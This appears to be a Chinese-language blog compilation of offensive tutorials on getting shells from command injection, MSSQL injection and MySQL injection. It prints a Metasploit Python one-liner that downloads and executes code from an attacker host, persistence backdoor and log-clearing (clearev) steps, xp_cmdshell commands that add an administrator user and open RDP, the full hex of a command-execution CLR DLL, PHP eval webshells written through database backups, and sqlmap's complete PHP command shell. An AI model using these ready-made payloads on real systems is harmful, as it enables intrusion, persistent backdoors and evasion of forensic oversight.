精华内容
下载资源
问答
  • 利用命令注入getshell

    2021-03-17 19:30:48
    利用命令注入getshell 靶机ip:192.168.41.129 kali:192.168.41.128 任务:靶机存在命令注入漏洞,获取靶机权限。 漏洞原理 命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、I都可以作为命令...

    利用命令注入getshell

    靶机ip:192.168.41.129
    kali:192.168.41.128
    任务:靶机存在命令注入漏洞,获取靶机权限。

    漏洞原理

    命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、I都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。

    规则

    command1&command2 两个命令同时执行
    command1&&command2 只有前面命令执行成功,后面命令才继续执行
    command1;command2 不管前面命令执行成功没有,后面的命令继续执行
    command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

    更多漏洞原理请点击–>传送门

    过程

    信息收集总在前。
    在这里插入图片描述
    可以看出是开放80端口的,查看漏洞场景如下:
    在这里插入图片描述
    输入:127.0.0.1&&whoami
    在这里插入图片描述
    可以看到命令已运行,为命令执行漏洞,可利用。
    (该项目源码没有对IP地址设置过滤或其他封装)
    我们打开号称可以黑掉整个宇宙的msf:
    在这里插入图片描述
    输入:use exploit/multi/script/web_delivery 打开模块
    输入:show options 查看需要配置项
    在这里插入图片描述
    输入:show targets 查看支持哪些目标的反弹shell
    在这里插入图片描述
    输入:set lhost 192.168.41.128
    set lport 4444
    run
    在这里插入图片描述反弹出来了用于命令注入的payload

    python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.41.128:8080/gFMA7a4QqE', context=ssl._create_unverified_context());exec(r.read());"
    

    我们将其插入注入点。
    在这里插入图片描述
    点击执行,稍等片刻。
    在这里插入图片描述
    发现给了1个session,我们执行:sessions
    在这里插入图片描述
    输入:sessions 1 得到 meterpreter
    在这里插入图片描述
    输入:sysinfo 查看系统信息
    在这里插入图片描述
    更多meterpreter用法移步–>传送门

    生成持续性后门

    使用Persistence模块
    使用:run persistence -h 查看帮助文档
    在这里插入图片描述
    使用:run persistence -U -i 5 -p 5555 -r 192.168.41.129
    -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
    -i:设置反向连接间隔时间,单位为秒;
    -p:设置反向连接的端口号;
    -r:设置反向连接的ip地址。

    痕迹清除

    使用:clearev 删除日志

    后渗透阶段的常用命令总结

    ls列出目标主机的文件和文件夹信息
    use priv加载特权提升扩展模块,来扩展meterpreter库
    ps显示所有运行进程以及关联的用户账户
    getsystem通过各种攻击向量来提升到系统用户权限
    shell以所有可用令牌来运行一个交互的shell
    screenshot对目标主机的屏幕进行截图
    upload file向目标主机上传文件
    download file从目标主机下载文件
    sniffer_interfaces列出目标主机所有开放的网络接口
    sniffer_dump interfaceID pcapname在目标主机上启动嗅探
    sniffer_start interfaceID packet_buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探
    sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据
    sniffer_stop interfaceID 停止嗅探
    add_user username password -h ip在远程目标主机上添加一个用户
    add_group_user “Domain Adimins”username -h ip将用户添加到目标主机的域管理员组中
    clearev清除目标主机上的日志记录
    timestomp修改文件属性,例如修改文件的创建时间(反取证调差)
    reboot重启目标主机
    相关文章请移步

    展开全文
  • sqlserver命令注入getshell1. mssql权限判断当前数据库权限2. mssql 默认数据库3. 数据库常用语句查询当前数据库中所有表的大小4. SA权限开启xp_cmdshell 获取主机权限5. SA权限使用sp_oacreate 执行系统命令6. SA...

    1. mssql权限

    • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
    • db权限:文件管理,数据库操作等 users-administrators
    • public权限:数据库操作 guest-users

    判断当前数据库权限

    判断是否是sa权限
    
    select is_sivrolemember('sysadmin')
    
    判断是否是db_owner权限
    
    select is_member('db_owner')
    
    判断是否是public权限
    
    select is_srvrolemember('public')
    

    img

    2. mssql 默认数据库

    • master数据库:控制sql server的所有方面。数据库中有配置信息,用户登录信息,当前正在服务器中运行的信息
    • model数据库:model数据库是建立所有用户数据库时的模板
    • msdb数据库:是sql server的特例。其实是一个用户数据库,不同之处在于sql server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该数据库可以用来存储所有备份历史
    • tempdb数据库:tempdb数据库时一个非常特殊的数据库,供所有来访问你的sql server的用户使用。这个库用来保存所有的临时表、存储过程和其他sql server建立的临时用的东西。永远不要在此库中建立永久保存的表

    3. 数据库常用语句

    select @@version;       #查询数据库的版本
    select @@servername;    #查询服务名
    select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
    select db_name();       #查询当前数据库名
    select db_name(1);      #查询第一个数据库名
    select db_name(2);      #查询第二个数据库名
    select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
    use tempdb              #切换到tempdb表  
    top n                   #查询前n条记录
    limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
    select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
    select ascii('a')                  #查询给定字符串的ascii值
    select len('string')               #查询给定字符串的长度
    EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
    sp_spaceused '表名'                #查询指定表名的大小
    EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
    
    判断是否是SA权限
    select is_srvrolemember('sysadmin')     
    判断是否是db_owner权限  
    select is_member('db_owner')
    判断是否是public权限
    select is_srvrolemember('public')
    
    #数据库的连接
    server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
    mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
     
    count(name)是查询总数
    name是查询名字
    *是查询详细信息
     
    #查询数据库
    select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
    select name  from sysdatabases           #查询数据库的名字
    select * from sysdatabases               #查询所有数据库的信息
     
    #查询数据表
    select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
    select name from sysobjects where type='U'  #查询当前数据库中所有表的名字
    select * from sysobjects where type='U'    #查询当前数据库的所有表的详细信息
     
    select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
    select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
    select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
     
    #查询列
    select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的列的个数
    select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')         #查询当前数据库的指定users表的所有列的名字
    select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')      #查询当前数据库的指定users表的列的详细信息
     
    select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
    select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列的名字
    select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息
    

    查询当前数据库中所有表的大小

    declare  @table_spaceused table     	#声明变量 例如:@声明变量名称 变量类型
    (name   nvarchar(100)
    ,rows   int
    ,reserved   nvarchar(100)
    ,data   nvarchar(100)
    ,index_size nvarchar(100)
    ,unused nvarchar(100)
    )
    
    insert into @table_spaceused
    (name,rows,reserved,data,index_size,unused )
    exec sp_MSforeachtable
    @command1='exec sp_spaceused ''?'''
    
    select * from @table_spaceused
    

    4. SA权限开启xp_cmdshell 获取主机权限

    1. 判断xp_cmdshell 是否打开
    select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  
    

    在这里插入图片描述
    ​ 返回1是打开;返回0是关闭

    1. 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
    execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
    execute('reconfigure')                             #保存设置
    execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
    execute('reconfigure')                             #保存设置
    execute('sp_configure')                            #查看配置
    execute('xp_cmdshell "whoami"')                    #执行系统命令
     
    或者
    exec sp_configure 'show advanced options',1;       
    reconfigure;                                       
    exec sp_configure 'xp_cmdshell',1;                 
    reconfigure;                                      
    exec sp_configure;                                 
    exec xp_cmdshell 'whoami';                         
     
     
    可以执行系统权限之后,前提是获取的主机权限是administrators组里的
    exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
    exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
    exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
    exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
    

    execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1在这里插入图片描述
    execute(‘reconfigure’) #保存设置
    在这里插入图片描述

    1. 虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止

    在这里插入图片描述
    4. 然后通过上述的execute步骤,将xp_cmdshell开启

    在这里插入图片描述

    5. SA权限使用sp_oacreate 执行系统命令

    1. 使用sp_oacreate的前提:sql server数据服务未降权

      我们可以借助sql server中的com组件sp_oacreate来执行系统命令。

    2. 下面的命令可以查看sp_oacreate 是否被允许

      declare @shell int 
      exec sp_oacreate 'wscript.shell',@shell output 
      exec sp_oamethod @shell,'run',null,'whoami'
      

    在这里插入图片描述

    1. 开启sp_oacreate

      EXEC sp_configure 'show advanced options', 1;    
      	-- 类似于exe('sp_configure' "show advanced options",1)
      RECONFIGURE WITH OVERRIDE;  
      EXEC sp_configure 'Ole Automation Procedures', 1;  
      RECONFIGURE WITH OVERRIDE;
      

    在这里插入图片描述

    1. 由此可以看出,sp_oacreate 命令无回显

      -- 执行添加用户命令 进行测试
      declare @shell int 
      exec sp_oacreate 'wscript.shell',@shell output 
      exec sp_oamethod @shell,'run',null,
      'c:\windows\system32\cmd.exe /c net user hack Password@ /add'   
      	--上面sql server语言固定,最后一行是执行的系统命令
      

    6. SA权限使用CLR 执行系统命令

    创建CLR有两种方式:

    • 使用DLL文件进行创建
    • 使用文件16进制流进行创建
    1. 启用CLR功能
    exec sp_configure 'show advanced options', 1;
    RECONFIGURE;
    Exec sp_configure 'clr enabled', 1;
    RECONFIGURE;
    -- 如果存在权限问题,执行下面命令
    alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
    EXEC sp_changedbowner 'sa'
    
    --导入程序集
    CREATE ASSEMBLY [WarSQLKit] 
    	AUTHORIZATION [dbo] FROM 十六进制数据 
    	WITH PERMISSION_SET = UNSAFE;
    CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
    	AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
    
    —- 执行命令
    EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘
    
    -- 删除程序集
    DROP PROCEDURE sp_cmdExec;
    DROP ASSEMBLY [WarSQLKit];
    

    6. DB_owner权限 LOG备份Getshell

    无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

    1. sql server常见的备份策略

      • 每周一次完整备份
      • 每天一次差异备份
      • 每小时一次事务备份
    2. 利用前提

      • 目标机器存在数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
      • 知道网站的绝对路径
      • 支持堆叠注入
    3. 注入代码

      alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
      create table cmd (a image);        		#创建一张表cmd,只有一个列 a,类型为image
      backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;  #备份表到指定路径
      
      insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  
      	#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
      	
      backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';   	#把操作日志备份到指定文件
      drop table cmd;    										#删除cmd表
      
    4. 综述

      利用日志备份,类似于mysql的在日志中写入一句话木马。

      修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径

      在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表

    7. DB_owner权限 差异备份Getshell

    差异备份可能把网站搞崩溃,不建议使用

    1. 利用前提

      • 知道网站的绝对路径
      • 支持堆叠注入
    2. 代码注入

      create table [dbo].[test] ([cmd] [image])    -- 创建表dbo.test,列为cmd 类型image
      
      declare @a sysname,@s nvarchar(4000) 
      	select @a=db_name(),@s=xie backup log @a to disk = @s 
      	with init,no_truncate              -- 备份表
      
      insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
          -- 向表test的cmd列插入一句话木马
          
      declare @a sysname,@s nvarchar(4000) select 	@a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
      	-- 备份操作日志到指定文件
      
      Drop table [test]   		 --删除test表
      
      • 第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
      • 第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是 C:\phpstudy\WWW\shell.php 的16进制表示
    3. 总结

      利用数据差异备份。类似于上述LOG备份,只是没有了设置数据库恢复模式为完整模式

      我们在表中插入一句话木马,日志中就会记录,日志中就会有一句话木马。

    补充CLR导入程序集

    CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
    
    展开全文
  • 主要介绍了python3编写ThinkPHP命令执行Getshell的方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
  • MySQL数据库注入Getshell

    千次阅读 2020-04-21 09:57:58
    利用场景: 当前是 root 用户,且通过 --os-shell可以执行一部分少数的命令,很多命令没有回显,也不能执行powershell命令反弹木马。

    目录

    方法一:直接写入木马,执行

    方法二:找到网站绝对路径,写入木马


    利用场景:当前是 root 用户,且通过 --os-shell 可以执行一部分少数的命令,很多命令没有回显,也不能执行powershell命令反弹木马。

    方法一:直接写入木马,执行

    由于通过SQLmap注入MySQL类型的网站,--os-shell 参数无法执行远程下载的命令,所以我们可以本地写入木马文件。

    sqlmap -u "http://192.168.10.20:88/index.php?id=1" -p id --dbms="MySQL" --batch --file-write msf.exe --file-dest "C:\phpstudy\WWW\msf.exe"

    然后通过os-shell直接执行该msf.exe木马文件,我们的MSF就可以收到shell了。

    方法二:找到网站绝对路径,写入木马

    如果第一种方法不能执行木马文件或者执行完之后我们收不到shell。这种情况的话,就必须得找到网站绝对路径写入木马了。

    展开全文
  • sql注入getshell的几种方式

    千次阅读 2021-04-29 18:18:26
    介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用--os-shell。 一. into outfile 利用条件 1. 此方法利用的先决条件 web目录具有写权限,能够使用单引号 知道网站绝对路径 secure...

    目录

    一. into outfile

    利用条件

    写入webshell

    二. --os-shell

    --sql-shell


    介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用--os-shell。

    一. into outfile

    利用条件

    1. 此方法利用的先决条件

    • web目录具有写权限,能够使用单引号
    • 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
    • secure_file_priv没有具体值(在mysql/my.ini中查看)

    2. secure_file_priv

    secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

    • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
    • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了

    (1)看secure-file-priv参数的值

    show global variables like '%secure%';

    如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

    (2)修改secure_file_priv 的值

    我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可

    此时再查看secure_file_priv的值如下已经变为空了

    设置完成后我们就可以利用这个函数来写入一句话木马

    写入webshell

    我们以sqli-labs第七关为例

    1. 注入点判断

    输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3')) and sleep(5) --+时成功延时,所以注入点就为3')),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹

    2. 判断列数

    我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列

    3. 写入webshell

    加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ <?php eval($_REQUEST[1]);?> ”。一句话建议进行十六进制转码(不用编码也可以) https://www.sojson.com/hexadecimal.html

    编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中

    ?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

    成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"\\"分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是"\",结果也就不会出问题了。

    4. 连接webshell

    成功连接

    如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。

    所以没有写进去的情况有两种:

    • 网站的路径不对,或者没有使用双斜杠进行转义
    •  secure_file_priv的值不是为空

    二. --os-shell

    原理

    --os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

    此为sqlmap的一个命令,利用这条命令的先决条件:

    • 要求为DBA,--is-dba(phpstudy搭建的一般为DBA)
    • 知道网站的绝对路径
    • GPC为off,php主动转义的功能关闭

    使用

    1. 测试

    我们以sqli-labs第一关为例

    sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell

    sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

    • tmpbeewq.php    用来执行系统命令
    • tmpuqvgw.php     用来上传文件

    1. tmpbeewq.php的文件内容为

    <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

    访问一下

    2. 使用tmpuqvgw.php上传文件

    我们上传一个php的一句话后门

    访问

    所以这两种方式都需要知道网站的绝对路径才行。

    补充:

    上面说了sqlmap写入webshell的方式有三种,缺一不可

    • web目录具有写权限,能够使用单引号
    • 知道网站绝对路径
    • secure_file_priv没有具体值(在mysql/my.ini中查看)

    在最近的一次护网中,我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么了

    --sql-shell

    我们可以先使用这个来执行一些sql语句,如这为实战中的测试

    输入sql语句

    select @@secure_file_priv
    

    提示为NULL

